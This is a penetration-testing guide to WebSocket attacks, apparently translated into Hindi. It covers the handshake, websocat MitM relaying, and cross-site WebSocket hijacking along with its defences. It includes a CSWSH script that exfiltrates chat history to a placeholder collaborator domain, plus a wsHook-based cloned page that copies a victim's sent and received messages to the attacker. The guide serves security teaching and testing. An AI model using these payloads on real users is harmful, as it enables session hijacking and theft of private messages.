WebSocket Attacks

Reading time: 12 minutes

What are WebSockets

WebSocket कनेक्शन एक प्रारंभिक HTTP हैंडशेक के माध्यम से स्थापित होते हैं और इन्हें दीर्घकालिक होने के लिए डिज़ाइन किया गया है, जो किसी भी समय द्विदिशीय संदेश भेजने की अनुमति देता है बिना लेन-देन प्रणाली की आवश्यकता के। यह WebSockets को उन अनुप्रयोगों के लिए विशेष रूप से फायदेमंद बनाता है जो कम विलंबता या सर्वर-प्रारंभित संचार की आवश्यकता होती है, जैसे कि लाइव वित्तीय डेटा स्ट्रीम।

Establishment of WebSocket Connections

WebSocket कनेक्शन स्थापित करने पर विस्तृत विवरण यहां पहुंचा जा सकता है। संक्षेप में, WebSocket कनेक्शन आमतौर पर क्लाइंट-साइड जावास्क्रिप्ट के माध्यम से आरंभ किए जाते हैं जैसा कि नीचे दिखाया गया है:

var ws = new WebSocket("wss://normal-website.com/ws")

wss प्रोटोकॉल एक WebSocket कनेक्शन को TLS के साथ सुरक्षित करता है, जबकि ws एक असुरक्षित कनेक्शन को दर्शाता है।

कनेक्शन स्थापित करते समय, HTTP के माध्यम से ब्राउज़र और सर्वर के बीच एक हैंडशेक किया जाता है। हैंडशेक प्रक्रिया में ब्राउज़र एक अनुरोध भेजता है और सर्वर प्रतिक्रिया करता है, जैसा कि निम्नलिखित उदाहरणों में दर्शाया गया है:

ब्राउज़र एक हैंडशेक अनुरोध भेजता है:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

सर्वर का हैंडशेक प्रतिक्रिया:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

कनेक्शन स्थापित होने के बाद संदेशों के आदान-प्रदान के लिए दोनों दिशाओं में खुला रहता है।

WebSocket हैंडशेक के मुख्य बिंदु:

• Connection और Upgrade हेडर WebSocket हैंडशेक की शुरुआत का संकेत देते हैं।
• Sec-WebSocket-Version हेडर वांछित WebSocket प्रोटोकॉल संस्करण को दर्शाता है, जो आमतौर पर 13 होता है।
• Sec-WebSocket-Key हेडर में एक Base64-कोडित यादृच्छिक मान भेजा जाता है, यह सुनिश्चित करते हुए कि प्रत्येक हैंडशेक अद्वितीय है, जो कैशिंग प्रॉक्सी के साथ समस्याओं को रोकने में मदद करता है। यह मान प्रमाणीकरण के लिए नहीं है, बल्कि यह पुष्टि करने के लिए है कि प्रतिक्रिया किसी गलत कॉन्फ़िगर किए गए सर्वर या कैश द्वारा उत्पन्न नहीं की गई है।
• सर्वर की प्रतिक्रिया में Sec-WebSocket-Accept हेडर Sec-WebSocket-Key का एक हैश है, जो सर्वर के WebSocket कनेक्शन खोलने के इरादे की पुष्टि करता है।

ये विशेषताएँ सुनिश्चित करती हैं कि हैंडशेक प्रक्रिया सुरक्षित और विश्वसनीय है, जो कुशल वास्तविक समय संचार के लिए मार्ग प्रशस्त करती है।

Linux कंसोल

आप websocat का उपयोग करके websocket के साथ एक कच्चा कनेक्शन स्थापित कर सकते हैं।

websocat --insecure wss://10.10.10.10:8000 -v

या एक websocat सर्वर बनाने के लिए:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

यदि आप पाते हैं कि क्लाइंट आपके वर्तमान स्थानीय नेटवर्क से HTTP websocket से जुड़े हुए हैं, तो आप ARP Spoofing Attack का प्रयास कर सकते हैं ताकि क्लाइंट और सर्वर के बीच MitM हमला किया जा सके।
एक बार जब क्लाइंट आपसे कनेक्ट करने की कोशिश कर रहा हो, तो आप इसका उपयोग कर सकते हैं:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

आप tool https://github.com/PalindromeLabs/STEWS का उपयोग करके websockets में ज्ञात vulnerabilities को स्वचालित रूप से खोजने, फिंगरप्रिंट करने और खोजने के लिए कर सकते हैं।

Websocket Debug tools

• Burp Suite MitM websockets संचार का समर्थन करता है जिस तरह से यह नियमित HTTP संचार के लिए करता है।
• socketsleuth Burp Suite एक्सटेंशन आपको Burp में Websocket संचार को बेहतर ढंग से प्रबंधित करने की अनुमति देगा, history प्राप्त करके, interception rules सेट करके, match and replace नियमों का उपयोग करके, Intruder और AutoRepeater का उपयोग करके।
• WSSiP: "WebSocket/Socket.io Proxy" के लिए संक्षिप्त, यह उपकरण, जो Node.js में लिखा गया है, कैप्चर, इंटरसेप्ट, कस्टम संदेश भेजने और क्लाइंट और सर्वर के बीच सभी WebSocket और Socket.IO संचार को देखने के लिए एक उपयोगकर्ता इंटरफ़ेस प्रदान करता है।
• wsrepl एक इंटरएक्टिव websocket REPL है जिसे विशेष रूप से पेनट्रेशन टेस्टिंग के लिए डिज़ाइन किया गया है। यह incoming websocket messages को देखने और नए संदेश भेजने के लिए एक इंटरफ़ेस प्रदान करता है, जिसमें इस संचार को automating करने के लिए एक उपयोग में आसान ढांचा है।
• https://websocketking.com/ यह websockets का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक वेब है।
• https://hoppscotch.io/realtime/websocket अन्य प्रकार के संचार/प्रोटोकॉल के बीच, यह websockets का उपयोग करके अन्य वेब के साथ संवाद करने के लिए एक वेब प्रदान करता है।

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

Burp-Suite-Extender-Montoya-Course में आपके पास websockets का उपयोग करके एक वेब लॉन्च करने के लिए कोड है और इस पोस्ट में आप एक व्याख्या पा सकते हैं।

Websocket Fuzzing

Burp एक्सटेंशन Backslash Powered Scanner अब WebSocket संदेशों को भी फज़ करने की अनुमति देता है। आप इसके बारे में अधिक जानकारी यहां पढ़ सकते हैं।

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, जिसे cross-origin WebSocket hijacking के रूप में भी जाना जाता है, को Cross-Site Request Forgery (CSRF) के एक विशिष्ट मामले के रूप में पहचाना जाता है जो WebSocket हैंडशेक को प्रभावित करता है। यह सुरक्षा भेद्यता तब उत्पन्न होती है जब WebSocket हैंडशेक केवल HTTP cookies के माध्यम से प्रमाणित होते हैं बिना CSRF tokens या समान सुरक्षा उपायों के।

हमलावर इसको एक malicious web page होस्ट करके शोषण कर सकते हैं जो एक कमजोर एप्लिकेशन के लिए क्रॉस-साइट WebSocket कनेक्शन शुरू करता है। परिणामस्वरूप, यह कनेक्शन एप्लिकेशन के साथ पीड़ित के सत्र का हिस्सा माना जाता है, जो सत्र प्रबंधन तंत्र में CSRF सुरक्षा की कमी का लाभ उठाता है।

इस हमले के सफल होने के लिए, ये आवश्यकताएँ हैं:

• Websocket authentication को cookie आधारित होना चाहिए
• कुकी को हमलावर के सर्वर से सुलभ होना चाहिए (इसका मतलब आमतौर पर SameSite=None है) और Firefox में Firefox Total Cookie Protection सक्षम नहीं होना चाहिए और Chrome में blocked third-party cookies नहीं होनी चाहिए।
• Websocket सर्वर को कनेक्शन के मूल की जांच नहीं करनी चाहिए (या इसे बायपास किया जा सकता है)

इसके अलावा:

• यदि प्रमाणीकरण एक स्थानीय कनेक्शन (localhost या स्थानीय नेटवर्क के लिए) पर आधारित है तो हमला संभव होगा क्योंकि वर्तमान में कोई सुरक्षा इसे रोकती नहीं है (चेक करें more info here)

Simple Attack

ध्यान दें कि जब websocket कनेक्शन स्थापित किया जा रहा है तो cookie सर्वर को भेजी जाती है। सर्वर इसे विशिष्ट उपयोगकर्ता को उसके websocket सत्र से संबंधित करने के लिए उपयोग कर सकता है जो भेजी गई कुकी पर आधारित है।

फिर, यदि उदाहरण के लिए websocket सर्वर एक उपयोगकर्ता की बातचीत का इतिहास वापस भेजता है यदि एक msg "READY" भेजा जाता है, तो एक simple XSS कनेक्शन स्थापित करने (क्योंकि cookie स्वचालित रूप से पीड़ित उपयोगकर्ता को अधिकृत करने के लिए भेजी जाएगी) "READY" भेजने से बातचीत का इतिहास प्राप्त कर सकेगा।

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

इस ब्लॉग पोस्ट में https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ हमलावर ने एक उपडोमेन में मनमाना Javascript निष्पादित करने में सफल रहा जहाँ वेब सॉकेट संचार हो रहा था। चूंकि यह उपडोमेन था, कुकी भेजी जा रही थी, और चूंकि Websocket ने सही तरीके से Origin की जांच नहीं की, इसलिए इसके साथ संवाद करना और इससे टोकन चुराना संभव था।

Stealing data from user

वेब एप्लिकेशन की कॉपी करें जिसे आप अनुकरण करना चाहते हैं (उदाहरण के लिए .html फ़ाइलें) और उस स्क्रिप्ट के अंदर जहाँ वेब सॉकेट संचार हो रहा है, यह कोड जोड़ें:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

अब wsHook.js फ़ाइल को https://github.com/skepticfx/wshook से डाउनलोड करें और इसे वेब फ़ाइलों के फ़ोल्डर के अंदर सहेजें।
वेब एप्लिकेशन को उजागर करके और एक उपयोगकर्ता को इससे कनेक्ट करने पर, आप websocket के माध्यम से भेजे गए और प्राप्त संदेशों को चुरा सकेंगे:

sudo python3 -m http.server 80

CSWSH सुरक्षा

CSWSH हमला इस तथ्य पर आधारित है कि एक उपयोगकर्ता एक दुर्भावनापूर्ण पृष्ठ से जुड़ेगा जो एक वेब्सोकट कनेक्शन खोलेगा उस वेब पृष्ठ पर जहां उपयोगकर्ता पहले से ही जुड़ा हुआ है और उपयोगकर्ता के कुकीज़ भेजने के कारण उसे प्रमाणित करेगा।

आजकल, इस समस्या को रोकना बहुत आसान है:

• वेब्सोकट सर्वर का मूल चेक करना: वेब्सोकट सर्वर को हमेशा यह जांचना चाहिए कि उपयोगकर्ता कहां से जुड़ रहा है ताकि अप्रत्याशित पृष्ठों को इससे जुड़ने से रोका जा सके।
• प्रमाणन टोकन: कुकी पर आधारित प्रमाणन के बजाय, वेब्सोकट कनेक्शन को एक टोकन पर आधारित किया जा सकता है जो सर्वर द्वारा हमलावर के लिए अज्ञात उपयोगकर्ता के लिए उत्पन्न किया गया है (जैसे एक एंटी-CSRF टोकन)
• SameSite कुकी विशेषता: SameSite मान के साथ कुकीज़ Lax या Strict के रूप में बाहरी हमलावर के पृष्ठ से पीड़ित सर्वर पर नहीं भेजी जाएंगी, इसलिए, कुकी आधारित प्रमाणन सफल नहीं होगा। ध्यान दें कि Chrome अब इस ध्वज के बिना कुकीज़ को Lax मान देता है जिससे यह डिफ़ॉल्ट रूप से अधिक सुरक्षित हो जाता है। हालांकि, जब एक कुकी बनाई जाती है तो पहले 2 मिनट के लिए इसका मान None होगा जिससे यह उस सीमित समय के दौरान कमजोर हो जाती है (यह भी अपेक्षित है कि यह उपाय किसी बिंदु पर हटा दिया जाएगा)।
• Firefox कुल कुकी सुरक्षा: कुल कुकी सुरक्षा कुकीज़ को उस साइट पर अलग करने का काम करती है जिसमें वे बनाई जाती हैं। मूल रूप से, प्रत्येक साइट के पास अपनी कुकी भंडारण विभाजन होती है ताकि तीसरे पक्ष उपयोगकर्ता के ब्राउज़िंग इतिहास को एक साथ लिंक न कर सकें। यह CSWSH को अनुपयोगी बना देता है क्योंकि हमलावर की साइट को कुकीज़ तक पहुंच नहीं होगी।
• Chrome तृतीय-पक्ष कुकीज़ अवरोध: यह भी प्रमाणित उपयोगकर्ता की कुकी को वेब्सोकट सर्वर पर भेजने से रोक सकता है भले ही SameSite=None हो।

दौड़ की स्थितियाँ

वेब्सोकट में दौड़ की स्थितियाँ भी एक चीज हैं, इस जानकारी की जांच करें और अधिक जानें।

अन्य कमजोरियाँ

चूंकि वेब सॉकेट एक तंत्र हैं डेटा को सर्वर साइड और क्लाइंट साइड भेजने के लिए, यह इस पर निर्भर करता है कि सर्वर और क्लाइंट जानकारी को कैसे संभालते हैं, वेब सॉकेट का उपयोग कई अन्य कमजोरियों जैसे XSS, SQLi या किसी अन्य सामान्य वेब कमजोरियों का शोषण करने के लिए किया जा सकता है जो एक वेब्सोकट से उपयोगकर्ता के इनपुट का उपयोग करते हैं।

वेब्सोकट स्मगलिंग

यह कमजोरी आपको रिवर्स प्रॉक्सी प्रतिबंधों को बायपास करने की अनुमति दे सकती है यह मानकर कि वेब्सोकट संचार स्थापित किया गया था (भले ही यह सच न हो)। यह एक हमलावर को छिपे हुए एंडपॉइंट्स तक पहुंचने की अनुमति दे सकता है। अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करें:

Upgrade Header Smuggling

संदर्भ

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/